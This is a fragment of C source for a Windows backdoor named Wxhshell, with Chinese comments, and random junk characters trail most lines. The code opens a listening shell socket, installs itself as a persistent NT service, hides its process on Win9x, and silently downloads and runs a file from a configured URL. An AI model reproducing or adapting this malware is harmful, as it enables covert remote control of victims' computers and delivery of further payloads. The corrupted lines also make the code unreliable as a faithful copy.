DWORD PebBaseAddress; wk_@R=*(\
DWORD AffinityMask; >fQMXfoY
DWORD BasePriority; *\F~[
ULONG UniqueProcessId; d%n-[ZL
ULONG InheritedFromUniqueProcessId; X!EP$!
} PROCESS_BASIC_INFORMATION; "3Y0`&:D
ey$&;1x#5
PROCNTQSIP NtQueryInformationProcess; 6.yu-xm
x7 ,5
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tc_ 3sC7jN
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; - 1gVeT&
.(k|wX[Fu~
HANDLE hProcess; %d9uTm;
PROCESS_BASIC_INFORMATION pbi; -aCKRN85
O?#7N[7
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b@hqz!)l`
if(NULL == hInst ) return 0; 88$8d>-
pOoEI+t
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DZtsy!xA
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;Q`lNFa
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KF:78C
\Yr Ue1
if (!NtQueryInformationProcess) return 0; ,r_Gf5c
bW(0Ng
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4;2uW#dG"
if(!hProcess) return 0; X%x*f3[
dioGAai'
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (KZ{^X?a
$VOFOc
CloseHandle(hProcess); @-`*m+$U6
_;\_l
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M/`lM$98:
if(hProcess==NULL) return 0; }W^A*]X
('+d.F[109
HMODULE hMod; F#5~M<`.o
char procName[255]; yyTnL 2Y9
unsigned long cbNeeded; /PXzwP_(A
h^P#{W!e\
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;L ^o*`
`r 4fm`<
CloseHandle(hProcess); XC#oB~K'
aV0"~5
if(strstr(procName,"services")) return 1; // 以服务启动 ]\HvK CN}
b4Ekqas
return 0; // 注册表启动 6[AL|d
DK
} S~G]~gt
q{x8_E!L
// 主模块 jT;;/Fd3/
int StartWxhshell(LPSTR lpCmdLine) o}p n0KO,
{ ,zY{
SOCKET wsl; xxQ;xI0+]
BOOL val=TRUE; -jmY)(\
int port=0; zX i'kB
struct sockaddr_in door; A?OQE9'
&_8947
if(wscfg.ws_autoins) Install(); T6$+hUM$1
<(#ej4ar,
port=atoi(lpCmdLine); ~v6D#@%A
|CbikE}kL
if(port<=0) port=wscfg.ws_port; @BMx!r5kn
goWuw}?
WSADATA data; \cM2k-
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HTTCTR
%
|L=l{g
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; `){.+S(5C
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :\_ 5oVb
door.sin_family = AF_INET; Qn2&nD%zi
door.sin_addr.s_addr = inet_addr("127.0.0.1"); buHJB*?9
door.sin_port = htons(port); Q22 GIr
+&H4m=D-#a
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E' uZA
closesocket(wsl); ;}p
return 1; kD"{g#c
} NvX[zqNP_R
E _|<jy$`
if(listen(wsl,2) == INVALID_SOCKET) { )D%~`,#pQ
closesocket(wsl); @IZnFHN
return 1; ~pky@O#b
} uCB=u[]y4
Wxhshell(wsl); ;722\y(Y
WSACleanup(); ;-Aa|aT!
+1!ia]
return 0; >+T)#.wo&
f*
wx<
} fI|$K)K
+ LJ73
!
// 以NT服务方式启动 bW+:C5'
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "d}Gp9+$VY
{ KqP#6^ _
DWORD status = 0; 4Wp=y
DWORD specificError = 0xfffffff; uhq8
,<X9 Y2B
serviceStatus.dwServiceType = SERVICE_WIN32; RPbZ(.
serviceStatus.dwCurrentState = SERVICE_START_PENDING; +aAc9'k
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I5W~g.<6
serviceStatus.dwWin32ExitCode = 0; ;5AcFB
serviceStatus.dwServiceSpecificExitCode = 0; xD=csJ'(
serviceStatus.dwCheckPoint = 0; ?Z} &EH
serviceStatus.dwWaitHint = 0; 0PCGDLk8
\z ) %$#I
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B`sAk
%
if (hServiceStatusHandle==0) return; ?gXp*>Kg[
a,o*=r
status = GetLastError(); pTuS*MYz
if (status!=NO_ERROR) JlJ a
#
{ o5)<$P43
serviceStatus.dwCurrentState = SERVICE_STOPPED; e+=K d+:k
serviceStatus.dwCheckPoint = 0; iN.n8MN=I
serviceStatus.dwWaitHint = 0; $<OD31T
serviceStatus.dwWin32ExitCode = status; y>ktcuML
serviceStatus.dwServiceSpecificExitCode = specificError; )O6>*wq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); z0Z%m@
return; 7-V/RChBm
} !p/goqT~dY
.jK4?}]
serviceStatus.dwCurrentState = SERVICE_RUNNING; tT._VK]o&R
serviceStatus.dwCheckPoint = 0; Ew$C
;&9
serviceStatus.dwWaitHint = 0; NX&_p!_V
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dQG=G%W
} 2 ? 4!K.
\}G^\p6?M
// 处理NT服务事件,比如:启动、停止 .A|@?p[
VOID WINAPI NTServiceHandler(DWORD fdwControl) :Iz8aQ
{ WfRXP^a
switch(fdwControl) 3iU=c&P
{ DW3G
case SERVICE_CONTROL_STOP: og>uj>H&
serviceStatus.dwWin32ExitCode = 0; 4I(Xy]wm
serviceStatus.dwCurrentState = SERVICE_STOPPED; O&hTNIfi
serviceStatus.dwCheckPoint = 0; e~(5%CO>#j
serviceStatus.dwWaitHint = 0; [PbOfxxgA
{ &6k3*dq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7PF%76TO
} 51.%;aY~z
return; fd9k?,zM
case SERVICE_CONTROL_PAUSE: $NO&YLS@
serviceStatus.dwCurrentState = SERVICE_PAUSED; [KQ6Ta.
break; rW#T
vUn
case SERVICE_CONTROL_CONTINUE: ,iwp,=h=
serviceStatus.dwCurrentState = SERVICE_RUNNING; IUct
break; EBmt9S
case SERVICE_CONTROL_INTERROGATE: nT)vNWT=
break; 8JUwf
}; 4`=mu}Y2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |+"(L#wk
} ]{>,rK[So
%xt^698&X
// 标准应用程序主函数 V^~:F
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Xlt|nX~#;
{ >KKMcTOYY
tZB<on<.)
// 获取操作系统版本 (uidNq
OsIsNt=GetOsVer(); hFBe,'3M
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]}X
J?$,c4;W2
// 从命令行安装 '4<1 1(U
if(strpbrk(lpCmdLine,"iI")) Install(); P1f[%1
-D~%|).'
// 下载执行文件 |vzl. ^"-
if(wscfg.ws_downexe) { h@wgd~X9
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z5]>pJFq,
WinExec(wscfg.ws_filenam,SW_HIDE); Jfl!#UAD|n
} 6-ils3&
<=C?e<Y
if(!OsIsNt) { @=f\<"$vt
// 如果时win9x,隐藏进程并且设置为注册表启动 3irl
(;v
HideProc(); '/%H3A#L
StartWxhshell(lpCmdLine); {+ b7sA3
} p{dj~ &v
else Mrb)
if(StartFromService()) W=4FFl[
// 以服务方式启动 m~ee/&T
StartServiceCtrlDispatcher(DispatchTable); a"u0Q5J
else 3HK\BS
// 普通方式启动 ,9
a
StartWxhshell(lpCmdLine); J9S>yLQK
6D_D' ;o
return 0; MnW+25=N
}